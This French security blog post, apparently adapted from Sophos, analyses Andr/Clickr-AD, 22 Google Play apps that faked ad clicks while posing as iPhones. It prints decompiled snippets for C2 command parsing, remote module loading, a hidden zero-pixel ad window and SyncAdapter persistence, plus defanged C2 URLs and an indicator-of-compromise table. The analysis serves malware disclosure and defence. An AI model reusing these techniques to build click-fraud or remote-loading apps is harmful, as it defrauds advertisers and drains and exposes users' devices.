clickfraud
Produits et Services PRODUITS & SERVICES

Des applications clickfraud Android sophistiquées se présentent comme des applications et des appareils iPhone

Une série d'applications Android présente de nouvelles capacités innovantes en matière de fraude publicitaire.

Mis à part l’aspect purement “préférence” pour une plateforme mobile plutôt que pour une autre, il existe une différence nette entre les univers mobiles Android et iOS : en effet, les annonceurs paieront une forte somme d’argent pour atteindre les propriétaires, supposés fortunés, de téléphones et de tablettes Apple. Alors que la fraude au clic devient une source de revenus pour les développeurs d’applications mobiles peu scrupuleux, il s’avère avantageux de mentir sur le type précis d’appareil mobile qui clique frauduleusement sur ces annonces.

Ainsi, les SophosLabs sont tombés sur un stock de 22 applications mobiles qui, jusqu’au mois dernier, étaient hébergées sur Google Play Market et avaient été téléchargées collectivement plus de 2 millions de fois. Mais notre plus grande surprise n’a pas été que la fraude au clic soit passée inaperçue, dans certains cas pendant des mois ou des années, mais plutôt que ces applications clickfraud Android se soient faites passer pour des appareils Apple auprès des annonceurs, éventuellement dans le but de rentabiliser leurs activités cybercriminelles.

clickfraud

Trois des applications dataient d’au moins un an et l’une d’entre elles (une application de lampe de poche) avait été téléchargée au moins un million de fois, mais la majorité de ces applications malveillantes avaient été créées au cours ou après le mois de juin 2018. Les trois plus anciennes n’étaient pas intrinsèquement malveillantes au départ, mais il semble qu’elles aient été Trojanisées avec un code de type clickfraud, ajouté dans les applications à peu près au même moment, à savoir au courant du mois de juin.

Google a agi et supprimé les applications du Play Market pendant la semaine du 25 novembre. Les applications ne peuvent plus être téléchargées à partir du store Google officiel, mais l’infrastructure C2 reste active. Les applications de cette série (répertoriées à la fin de cet article) qui sont encore installées sur les appareils peuvent toujours générer un flux de revenus constant pour les créateurs de ces applications en continuant de frauder les réseaux publicitaires.

La tromperie est un élément clé

Par rapport aux malwares connus de type ad-clicker, les nouvelles fonctionnalités de ces applications ont intégré des améliorations significatives : elles étaient plus efficaces au niveau de leur persistance, plus souples et plus trompeuses que les générations précédentes.

Fonctionnant sous l’apparence de jeux et d’utilitaires, les applications disposent également de fonctionnalités de téléchargement, si le serveur de command-and-control leur demande de récupérer d’autres fichiers.

clickfraud

clickfraud

L’application Sparkle Flashlight, dont l’icône et l’écran de l’application sont présentés ci-dessus, a été téléchargée plus d’un million de fois sur Google Play Market avant d’être retirée le mois dernier.

Les instructions envoyées par le serveur command-and-control  ordonnent au malware d’envoyer des demandes d’annonce prétendant provenir d’une variété d’applications (qui n’ont d’ailleurs aucun lien avec ces applications) et s’exécutant sur un large éventail de modèles de téléphones mobiles. Nous avons observé que les outils clickfraud signalaient aux régies publicitaires qu’elles utilisaient des modèles spécifiques de téléphones Android et iOS, apparemment au hasard.

L’affichage de ces annonces ne se faisait pas en mode plein écran comme observé généralement, technique plutôt perturbatrice et ennuyeuse pour l’utilisateur de l’appareil, car cela aurait attiré trop l’attention sur l’application. Au lieu de cela, l’affichage de ces publicités malveillantes se faisait via une fenêtre de navigateur masquée, à l’intérieur de laquelle l’application simulait une interaction de l’utilisateur avec la publicité en question.

Les seuls effets qu’un utilisateur pouvait remarquer étaient que les applications utilisaient une quantité de données considérablement plus importante et puisaient beaucoup plus dans la batterie du téléphone que lors d’une utilisation normale. Étant donné que les consommateurs n’étaient pas en mesure de corréler ces effets avec les applications elles-mêmes, leurs commentaires sur Play Market, concernant ces applications, ne comportaient que peu de retours négatifs.

clickfraud

Ce degré de flexibilité semble être conçu sur mesure pour manipuler et frauder les annonceurs en dissimulant la véritable origine des applications responsables de la fraude. Mais la fraude publicitaire n’est pas le seul danger que représentent ces applications. Au-delà de leur nature intrinsèquement malveillante, ces applications peuvent également servir de downloaders, capables de récupérer du code arbitraire à partir de leurs serveurs C2.

clickfraud

Le code clickfraud, affiché ici dans une fenêtre du débogueur Android, indique aux annonceurs que l’application s’exécutant sur un Appareil Virtuel Android est en réalité une application différente s’exécutant sur un iPhone.

clickfraud

La séquence User-Agent indique au réseau publicitaire que le téléphone virtuel Android est en réalité un iPhone sous iOS 12.

Les annonces sont récupérées et “cliquées”, que l’application soit actuellement utilisée par le propriétaire du téléphone ou non. En raison de ces facteurs, nous avons décidé de classer ces fichiers comme malveillants, par opposition à “potentiellement indésirables”. Nous les détectons sous le nom : Andr/Clickr-AD.

Comment fonctionnent les applications clickfraud

Les applications que nous détectons sous le nom Andr/Clickr-AD ont été conçues pour offrir une flexibilité et une extensibilité maximales. Tout est configurable par le serveur C2 des applications. Voyons comment fonctionne le malware.

Lorsque l’utilisateur lance l’application pour la première fois, il envoie une demande HTTP GET au serveur c2.

http[://]sdk.mobbt.com/auth/sdk/login

Le serveur renvoie une liste de commandes au format JSON qu’il appelle un “sdk”. Chaque commande inclut l’URL permettant de télécharger un module “sdk”, un nom de classe et de méthode à appeler et les paramètres que le module doit transmettre à chaque méthode.

Voici à quoi ressemble une réponse typique du serveur C2 :

clickfraud

Dans cette réponse, le serveur demande au client de télécharger et d’exécuter les modules “rtb” ou “mpb”.

Pour chaque module, le C2 spécifie le champ “libpath” pour l’URL à télécharger, ainsi que le nom de la Classe, le nom de la méthode et les paramètres du champ “sdk_data”. Le C2 demande également à l’application de reprendre contact en respectant un intervalle de temps spécifié dans le champ “exp” pour les instructions mises à jour.

Dans l’exemple ci-dessus, l’application attendra 10 minutes (600 secondes) avant de contacter le serveur pour obtenir à nouveau son sdk.

    JSONArray v11_2 = v11_1.optJSONArray("sdk_data");
    while(v2 < v11_2.length()) {
        SDKData v1_1 = new SDKData();
        JSONObject v3_1 = v11_2.optJSONObject(v2);
        Object v4 = v3_1.keys().next();
        JSONObject v5 = new JSONObject(v3_1.optString(((String)v4)));
        String v3_2 = v5.optString("lp");
        JSONObject v6 = v5.optJSONObject("start");
        String v7 = v6.optString("method");
        String v8 = v6.optString("class");
        String v6_1 = v6.optString("parameters");
        v1_1.setStartPair(Pair.create(v8, v7));
        v5 = v5.optJSONObject("stop");
        v1_1.setStopPair(Pair.create(v5.optString("class"), v5.optString("method")));
        v1_1.setName(((String)v4));
        v1_1.setLibpath(v3_2);
        v1_1.setParameters(v6_1);
        ((List)v0_3).add(v1_1);
        ++v2;
    }

    this.updateSDKData(((List)v0_3));

Le serveur peut mettre à jour et modifier les modules sdk, ou ajouter de nouveaux modules. Quelle que soit la fonction contenue dans le module sdk, le côté client utilise le même code pour le télécharger et l’exécuter.

    private void invokeClass(Pair arg4) throws ReflectionException {
        try {
            this.invokeMethod(this.ctx, this.parameters, this.dexClassLoader.loadClass(arg4.first), arg4.second);
            return;
        }
        catch(ClassNotFoundException v4) {
            ThrowableExtension.printStackTrace(((Throwable)v4));
            throw new ReflectionException("Classes Not Found");
        }
    }

Le module nommé “mpb” clique sur l’annonce et reçoit des instructions distinctes du serveur C2. Pour obtenir sa propre configuration, il envoie une requête HTTP GET à :

http[://]act.mobbt.com/actions/mb/view

Cette URL est spécifiée dans le champ “fetch” de la rubrique “parameters“, indiqué dans la capture d’écran C2 ci-dessus.

Le serveur répond avec une autre structure JSON contenant les paramètres qu’il utilisera pour télécharger la publicité. Dans l’exemple présenté ci-dessous, l’application Android doit utiliser non seulement le nom d’une application iOS, mais également des informations de modèle de téléphone factices (sous la forme d’une séquence ‘User-Agent’ manifestement fausse).

clickfraud

Ensuite, le malware élabore une requête HTTP en utilisant le faux nom d’application, le modèle de périphérique et la séquence User-Agent reçus du serveur C2, puis envoie la requête à :

http[://]ads.mobbt.com/m/ad

De cette manière, le malware peut envoyer des demandes d’annonce en utilisant le nom de toutes les applications et de tous les appareils souhaités par le serveur.

Dans l’image ci-dessus, l’application a reçu la réponse suivante du serveur C2 :

"ua":"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Mobile/15D100"
"model": "iPhone",
"make": "Apple",
"pkg":"com.takatrip.ios",
"app_name":"Takatrip"

clickfraud

Cette capture de trafic réseau montre un jeu de ping-pong qui dupe la régie publicitaire de Twitter en se faisant passer pour une annonce affichée dans une autre application fonctionnant sur un Samsung Galaxy S7, alors même qu’elle s’exécute sur un Appareil Virtuel Android.

Ensuite, l’application prépare les nouvelles données à envoyer à :

http[://]ads.mobbt.com/m/ad

Le module sdk “mpb” crée une fenêtre de zéro pixel de haut et de large afin de masquer la publicité téléchargée.

Il récupère le lien en cliquant sur la réponse et effectue son clic sur l’annonce en utilisant ce code :

    v0.width = 0;
    v0.height = 0;
    this.containerView = new LinearLayout(this.ctx);
    this.containerView.setLayoutParams(new RelativeLayout$LayoutParams(-1, -1));
    this.containerView.setBackgroundColor(0);
    this.containerView.addView(arg8);
    if(this.windowManager == null) {
        this.windowManager = this.ctx.getSystemService("window");
    }

    if(this.windowManager == null) {
        return;
    }

    this.windowManager.addView(this.containerView, ((ViewGroup$LayoutParams)v0));

clickfraud

Le trafic réseau capturé montre que l’application a signalé un “clic” sur une annonce pour un casino en ligne.  

Lors de nos tests, nous avons observé à la fois les applications Android et iOS et les séquences User-Agent dans le champ “pkg”.”

Jusqu’à présent, toutes ces applications semblent provenir d’un petit nombre de développeurs.

Il se peut que tous ces développeurs augmentent actuellement leurs revenus publicitaires. Mais cette architecture peut potentiellement être utilisée en tant que service pour générer des revenus publicitaires pour d’autres applications.

Nous avons également trouvé des applications créées par les mêmes développeurs disponibles sur l’iTunes Store. Pour le moment, les applications iOS publiées par ces développeurs, contrairement à leurs homologues sous Android, sont dépourvues de la fonctionnalité de clic publicitaire.

clickfraud

Les versions iOS ne semblent pas partager la fonctionnalité clickfraud trouvée dans leurs homologues sous Android.

En falsifiant les champs User-Agent et Device dans la requête HTTP, le trafic réseau généré ressemble à du trafic authentique provenant de véritables périphériques. Ils auront l’air d’être envoyés par de vrais utilisateurs avec une diversité raisonnable de types de périphériques. Le but est de réduire les risques d’éveiller les soupçons au niveau du réseau publicitaire ou d’être repéré par des détecteurs de trafic frauduleux.

clickfraud

Les fichiers log capturés à partir d’un appareil exécutant l’une des applications affichent le comportement de l’affichage d’annonce masqué.

Jusqu’à présent, nous avons observé que le serveur envoyait des données falsifiées indiquant que les charges publicitaires frauduleuses provenaient de modèles Apple allant de l’iPhone 5 au 8 Plus, ainsi que de 249 modèles Android falsifiés provenant de 33 marques différentes, qui exécutaient prétendument des versions du système d’exploitation Android de 4.4.2 à 7.x. Cette variété couvre la plupart des appareils mobiles actuellement populaires sur le marché.

Le fraude a clic reste persistante, même lorsque l’utilisateur force l’application à se fermer

Tâche planifiée

Le malware se planifie lui-même pour s’exécuter périodiquement à des intervalles spécifiés par le serveur C2. Dans nos tests, il fonctionne à une fréquence assez élevée : il recherche un nouveau sdk toutes les 10 minutes et obtient les données de configuration des annonces toutes les 80 secondes.

Se déclenche au démarrage

L’application utilise l’événement de broadcast BOOT_COMPLETED pour se lancer une fois le téléphone redémarré.

SyncAdapter

Les créateurs d’Andr/Clickr-ad ont fait des efforts supplémentaires pour rendre l’application persistante. Même lorsque l’utilisateur force l’application à s’arrêter à partir des paramètres système, elle reprendra après 3 minutes.

clickfraud

Cette astuce est mise en place en créant un adaptateur de synchronisation, puis en le configurant pour une exécution périodique.

Dans le fichier AndroidManifest.xml, il déclare un adaptateur de synchronisation et un service associé :

    <service android:exported="true" android:name="com.octopus.managersdk.sync_adapter.SyncService">
      <intent-filter>
        <action android:name="android.content.SyncAdapter" />
      </intent-filter>
      <meta-data android:name="android.content.SyncAdapter" android:resource="@xml/manager_syncadapter" />
    </service>

Il configure l’adaptateur de synchronisation pour qu’il s’exécute à intervalles réguliers.

  long v4 = SyncUtils.prefs.getSyncPeriodicFrequency();
    Log.d("SyncUtils", "init frequency: " + String.valueOf(v4));
    v2_1.putBoolean("syncIdentifier:" + SyncUtils.mAccountName, true);
    ContentResolver.addPeriodicSync(v1_2, SyncUtils.mContentAuthority, v2_1, v4);

L’intervalle pour reprendre l’application est reçu du serveur. Au moment de l’analyse, l’intervalle défini était de 3 minutes.

    if(v11_1.has("sync")) {
        v0_1 = v11_1.optLong("sync");
        if(this.preferences.getSyncPeriodicFrequency() != v0_1) {
            this.preferences.setSyncPeriodFrequency(v0_1);
            Utils.updateSyncFrequency(this.context, v0_1);
        }
    }

clickfraud

Le paramètre “sync : 180” indique à l’application de se lancer toutes les trois minutes, si elle n’est pas déjà lancée.  

L’évolution d’Andr/Clickr-ad

Parmi les 22 applications, 19 ont été créées après juin 2018. La plupart d’entre elles contiennent cette fonction de téléchargement “sdk”, et ce depuis la première version.

Les trois anciennes applications, com.sparkle.flashlight, app.mobile.justflashlight et com.takatrip.android, ont été créées en 2016 et 2017. Les versions antérieures n’étaient pas malveillantes.

La version la plus ancienne avec la fonction de téléchargement sdk a été retrouvée datant de mars 2018.

Cela indique le moment où les auteurs, derrière ces applications, ont peut-être décidé de passer du côté obscur. Nous ne pouvons pas dire quelle a été la réponse du serveur à ce moment-là. Cependant, en analysant le code du downloader de la version du mois de mars, il semble que seul le module sdk “rtb” ait été utilisé.

En juin 2018, le code a beaucoup évolué en se rapprochant davantage de la version actuelle. Un fichier vide nommé mpb.jar a commencé à être inclus dans le dossier des actifs.

Il est probable que le module “mpb” sdk ait été mis en service à partir de cette époque. C’est aussi à cette période que d’autres membres de la famille Andr/Clickr-AD ont commencé à apparaître dans Google Play.

Conclusion

Andr/Clickr-ad est un malware persistant, bien structuré, susceptible de causer de graves dommages aux utilisateurs finaux, ainsi qu’à l’ensemble de l’écosystème Android. Ces applications génèrent des requêtes frauduleuses qui ont un impact financier important au niveau des réseaux publicitaires en raison des faux clics.

Du point de vue de l’utilisateur, ces applications déchargent la batterie de leur téléphone et peuvent provoquer des surcharges de données, car elles fonctionnent et communiquent en permanence avec des serveurs en arrière-plan. En outre, les périphériques sont entièrement contrôlés par le serveur C2 et peuvent éventuellement installer des modules malveillants sur instruction du serveur.

IOC (indicateur de compromission)

Package Name Title Sha1
com.sparkle.flashlight Sparkle FlashLight 9ed2b260704fbae83c02f9f19a2c4e85b93082e7
com.mobilebt.snakefight Snake Attack 0dcbbae5d18c33039db726afd18df59a77761c03
com.mobilebt.mathsolver Math Solver be300a317264da8f3464314e8fdf08520e49a55b
com.mobilebt.shapesorter ShapeSorter e28658e744b2987d31f26b2dd2554d7a639ca26d
com.takatrip.android Tak A Trip 0bcd55faae22deb60dd8bd78257f724bd1f2fc89
com.magnifeye.android Magnifeye 7d80bd323e2a15233a1ac967bd2ce89ef55d3855
com.pesrepi.joinup Join Up c99d4eaeebac26e46634fcdfa0cb371a0ae46a1a
com.pesrepi.zombiekiller Zombie Killer 19532b1172627c2f6f5398cf4061cca09c760dd9
com.pesrepi.spacerocket Space Rocket 917ab70fffe133063ebef0894b3f0aa7f1a9b1b0
com.pesrepi.neonpong Neon Pong d25fb7392fab90013e80cca7148c9b4540c0ca1d
app.mobile.justflashlight Just Flashlight 6fbc546b47c79ace9f042ef9838c88ce7f9871f6
com.mobile.tablesoccer Table Soccer fea59796bbb17141947be9edc93b8d98ae789f81
com.mobile.cliffdiver Cliff Diver 4b23f37d138f57dc3a4c746060e57c305ef81ff6
com.mobile.boxstack Box Stack c64ecc468ff0a2677bf40bf25028601bef8395fc
net.kanmobi.jellyslice Jelly Slice 692b31f1cd7562d31ebd23bf78aa0465c882711d
com.maragona.akblackjack AK Blackjack 91663fcaa745b925e360dad766e50d1cc0f4f52c
com.maragona.colortiles Color Tiles 21423ec6921ae643347df5f32a239b25da7dab1b
com.beacon.animalmatch Animal Match 403c0fea7d6fcd0e28704fccf5f19220a676bf6c
com.beacon.roulettemania Roulette Mania 8ad739a454a9f5cf02cc4fb311c2479036c36d0a
com.atry.hexafall HexaFall 751b515f8f01d4097cb3c24f686a6562a250898a
com.atry.hexablocks HexaBlocks ef94a62405372edd48993030c7f256f27ab1fa49
com.atry.pairzap PairZap 6bf67058946b74dade75f22f0032b7699ee75b9e


Billet inspiré de Sophisticated Android clickfraud apps pose as iPhone apps and devices, du Blog Sophos.